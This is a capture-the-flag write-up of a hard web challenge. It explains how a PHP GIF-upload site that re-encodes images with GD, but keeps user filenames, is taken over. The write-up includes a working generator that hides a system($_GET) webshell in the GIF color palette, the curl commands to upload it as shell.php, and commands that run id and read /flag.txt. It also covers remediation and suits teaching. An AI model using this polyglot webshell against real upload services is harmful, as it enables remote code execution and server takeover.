Challenge: Cat GIFs · CTF: DalCTF 2026 · Category: Web · Difficulty: Hard

TL;DR

A PHP file-upload app that re-encodes every uploaded GIF through PHP-GD as its “sanitization” — but never validates the filename’s extension. You can save a file as shell.php, and you survive the GD re-encode by smuggling your PHP payload inside the GIF color palette, which GD copies byte-for-byte. The result is a file that is simultaneously a valid GIF and valid PHP. Request it → RCE → read the flag.


Recon

We’re handed a single page: a cute “CAT GIFs :3” file-storage site with a drag-and-drop upload box.

First thing, look at the response headers:

1
2
3
4
5
HTTP/2 200
server: Apache/2.4.65 (Debian)
x-powered-by: PHP/8.1.34
set-cookie: PHPSESSID=...
content-type: text/html; charset=UTF-8

So: Apache + PHP 8.1. The page itself is a simple form:

1
2
3
4
<form method="POST" enctype="multipart/form-data">
    <input type="file" name="gif_file" id="gifFile" accept=".gif,image/gif">
    <button type="submit" class="btn-upload">Upload</button>
</form>

The accept=".gif,image/gif" is purely a client-side hint — irrelevant to us. The field name is gif_file.

A quick probe of common paths turns up something useful:

1
2
3
4
403  uploads/      <-- exists, directory listing disabled
200  index.php
404  upload.php
404  .git/HEAD

There’s an uploads/ directory. Uploaded files almost certainly land there and are served back by Apache. That’s our potential code-execution sink — if we can drop a .php file into it.


Probing the upload logic

1. A bogus GIF reveals the backend

I sent a hand-rolled, technically-malformed “GIF”:

1
2
printf 'GIF89a\x01\x00\x01\x00\x00\xff\x00,\x00\x00\x00\x00\x01\x00\x01\x00\x00\x02\x00;' > test.gif
curl -b cj.txt -c cj.txt "$URL/" -F "gif_file=@test.gif;type=image/gif;filename=test.gif"

The server responded with a beautiful error message:

1
imagegif(): Argument #1 ($image) must be of type GdImage, bool given

This is gold. It tells us the backend does roughly:

1
2
$img = imagecreatefromgif($_FILES['gif_file']['tmp_name']);  // returns false on a bad GIF
imagegif($img, "uploads/" . $filename);                       // boom: $img is false

In other words, the app doesn’t store your file as-is. It decodes the GIF into a GD image object and re-encodes it back out with imagegif(). This is a common and genuinely effective hardening technique: any PHP code you append to a normal image gets destroyed by the decode/re-encode cycle. The classic GIF89a;<?php ... ?> polyglot trick does not survive this.

2. A valid GIF reveals the naming scheme

Let’s give it a real image and see where it ends up:

1
2
python3 -c "from PIL import Image; Image.new('RGB',(4,4),(255,0,0)).save('real.gif')"
curl -b cj.txt -c cj.txt "$URL/" -F "gif_file=@real.gif;type=image/gif;filename=real.gif"
1
2
3
4
<div class="alert alert-success">GIF uploaded successfully.</div>
...
<img src="uploads/real.gif" alt="gif" loading="lazy">
<a href="uploads/real.gif" target="_blank">real.gif</a>

Two critical facts:

  1. The file is stored at uploads/<original-filename> — the user-supplied filename is preserved.
  2. It’s served straight back out of the web root.

3. Is the extension validated?

The decode/re-encode protects the contents, but what about the name? Let’s upload valid GIF bytes under a .php filename:

1
curl -b cj.txt -c cj.txt "$URL/" -F "gif_file=@real.gif;type=image/gif;filename=pwn.php"
1
<div class="alert alert-success">GIF uploaded successfully.</div>

Success again. The gallery only lists *.gif (so pwn.php doesn’t show up there), but let’s check directly:

1
2
curl -o /dev/null -w "%{http_code} %{size_download}\n" "$URL/uploads/pwn.php"
# 200 37

uploads/pwn.php exists. The extension is never checked. The filename goes straight from the multipart filename= field into the save path.


The actual problem

So we have:

  • ✅ Arbitrary filename → we can write .php
  • ✅ File served by Apache from uploads/ → PHP will execute it
  • ❌ File contents are forced through imagecreatefromgif()imagegif(), which obliterates any naively appended PHP

The whole challenge reduces to one question:

How do you get valid PHP code to survive a full GD GIF decode-and-re-encode?

You can’t append it. You can’t stick it in a comment block (GD’s GIF encoder doesn’t emit your comment extensions). You need bytes that GD will faithfully reproduce in its output.

The key insight: the color palette is copied verbatim

A GIF (in its indexed/palette form) stores a Global Color Table — a flat array of RGB triplets — right after the header. When you load an indexed GIF with imagecreatefromgif(), GD reads that palette into the image’s color table. When you write it back with imagegif(), GD re-emits the palette as raw RGB bytes, in the same order.

That’s our smuggling channel. The palette is just an arbitrary blob of bytes inside the file that GD treats as data to copy, not pixels to re-compress. If we make the palette entries spell out PHP source code, that source code lands in the output file untouched.

Three bytes per color (R, G, B), so we chunk our payload into 3-byte groups and allocate one palette color per group:

1
2
3
'<?p'  -> imagecolorallocate($img, ord('<'), ord('?'), ord('p'))
'hp '  -> imagecolorallocate($img, ord('h'), ord('p'), ord(' '))
...

To make sure GD doesn’t drop unused palette entries during re-encode, we actually use every color: a 1-pixel-tall image, N pixels wide, where pixel i uses palette color i.

Making it idempotent

There’s one more subtlety. The challenge server re-encodes whatever we send. If our file isn’t already in GD’s canonical output form, the server’s imagegif() might shuffle things and corrupt the payload. The fix is simple: generate the GIF with GD itself, so it’s already a GD-output GIF. Then re-encoding it is a no-op (idempotent).

Here’s the generator (run locally with php-gd installed):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$payload = '<?php system($_GET["c"]); __halt_compiler();';
// palette colors are 3 bytes each, so pad to a multiple of 3
while (strlen($payload) % 3 != 0) $payload .= ' ';

$n = strlen($payload) / 3;
$img = imagecreate($n, 1);                 // palette-based image
for ($i = 0; $i < $n; $i++) {
    $r = ord($payload[$i*3]);
    $g = ord($payload[$i*3 + 1]);
    $b = ord($payload[$i*3 + 2]);
    $c = imagecolorallocate($img, $r, $g, $b);  // one palette entry per chunk
    imagesetpixel($img, $i, 0, $c);             // make sure the color is "used"
}
imagegif($img, 'shell.gif');

// --- prove it survives the server's round-trip ---
$im2 = imagecreatefromgif('shell.gif');
imagegif($im2, 'shell_rt.gif');
$orig = file_get_contents('shell.gif');
$rt   = file_get_contents('shell_rt.gif');
echo "payload in round-trip: " . (strpos($rt, '<?php system') !== false ? 'Y' : 'N') . "\n";
echo "idempotent: " . ($orig === $rt ? 'Y' : 'N') . "\n";

Output:

1
2
payload in round-trip: Y
idempotent: Y

And a hexdump of the result shows the payload sitting right at the top of the file, inside the color table:

1
2
3
4
00000000: 4749 4638 3761 0f00 0100 b300 003c 3f70  GIF87a.......<?p
00000010: 6870 2073 7973 7465 6d28 245f 4745 545b  hp system($_GET[
00000020: 2263 225d 293b 205f 5f68 616c 745f 636f  "c"]); __halt_co
00000030: 6d70 696c 6572 2829 3b20 0000 002c 0000  mpiler(); ...,..

Why __halt_compiler()?

When Apache/PHP executes this file, the parser streams through the whole thing. The bytes before <?php (GIF87a + the screen descriptor) are just emitted as plain text — harmless, as long as they don’t contain another <?. Then <?php system($_GET["c"]); runs.

The problem is everything after our payload: the rest of the GIF (image descriptor, LZW pixel data, trailer) is binary garbage that would make the PHP parser choke. __halt_compiler() tells PHP to stop parsing right here and ignore the remainder of the file. Clean execution, no syntax errors from the trailing image data.

The file is now a valid GIF (renders as a 1×15 image) and valid PHP (a command-exec webshell). A true polyglot.


Exploitation

Upload the polyglot under a .php filename:

1
2
3
curl -b cj.txt -c cj.txt "$URL/" \
  -F "gif_file=@shell.gif;type=image/gif;filename=shell.php"
# -> "GIF uploaded successfully."

The server happily decodes our GIF, re-encodes it (preserving the palette = preserving our PHP), and writes it to uploads/shell.php. Fire it:

1
curl "$URL/uploads/shell.php?c=id"
1
GIF87a  �  uid=33(www-data) gid=33(www-data) groups=33(www-data)

(You can see the leftover GIF header bytes printed before our command output — the polyglot in action.) We have remote code execution as www-data.

Now grab the flag:

1
2
curl "$URL/uploads/shell.php" --data-urlencode \
  "c=cat /flag.txt; find / -iname '*flag*' 2>/dev/null" -G
1
dalctf{m30w_m3333333000w}

🐱


Root cause & remediation

The app did one thing right (re-encoding image contents to kill embedded payloads) and several things wrong:

  1. Trusted the user-supplied filename. The single biggest bug. Always generate your own filename server-side (e.g. a random token) and append a server-controlled extension — never reflect the client’s filename.
  2. No extension allow-list on the saved path. Even with re-encoding, imagegif("uploads/shell.php") writes executable PHP into the web root.
  3. uploads/ is executable by the web server. Upload directories should be served as static files only. In Apache:
    1
    2
    3
    4
    
    <Directory /var/www/html/uploads>
        php_admin_flag engine off
        # or: RemoveHandler .php / SetHandler default-handler
    </Directory>
    
    Better still, store uploads outside the web root and stream them through a controlled handler.
  4. Image re-encoding is not a content-sanitizer for the file, only for the pixels. The palette, and any structural region GD copies verbatim, is attacker-controllable. Re-encoding raises the bar, but it is not a substitute for controlling the output filename and extension.

Fix any one of #1–#3 and the chain breaks. Fixing all of them is the correct posture.


Lessons learned

  • Read the error messages. imagegif(): ... GdImage, bool given instantly told us the backend’s exact decode/re-encode pipeline.
  • Separate the two halves of a file-upload bug: content handling vs. path/name handling. Here the content was well-protected but the name wasn’t — and that’s all you need.
  • GD re-encoding is bypassable by hiding payloads where the encoder copies bytes rather than re-derives them — the color palette is the canonical spot for GIFs. Make your malicious file self-canonical (generate it with GD) so the server’s own re-encode is a no-op.
  • __halt_compiler(); is the perfect terminator for image/PHP polyglots — it stops the parser before the binary tail.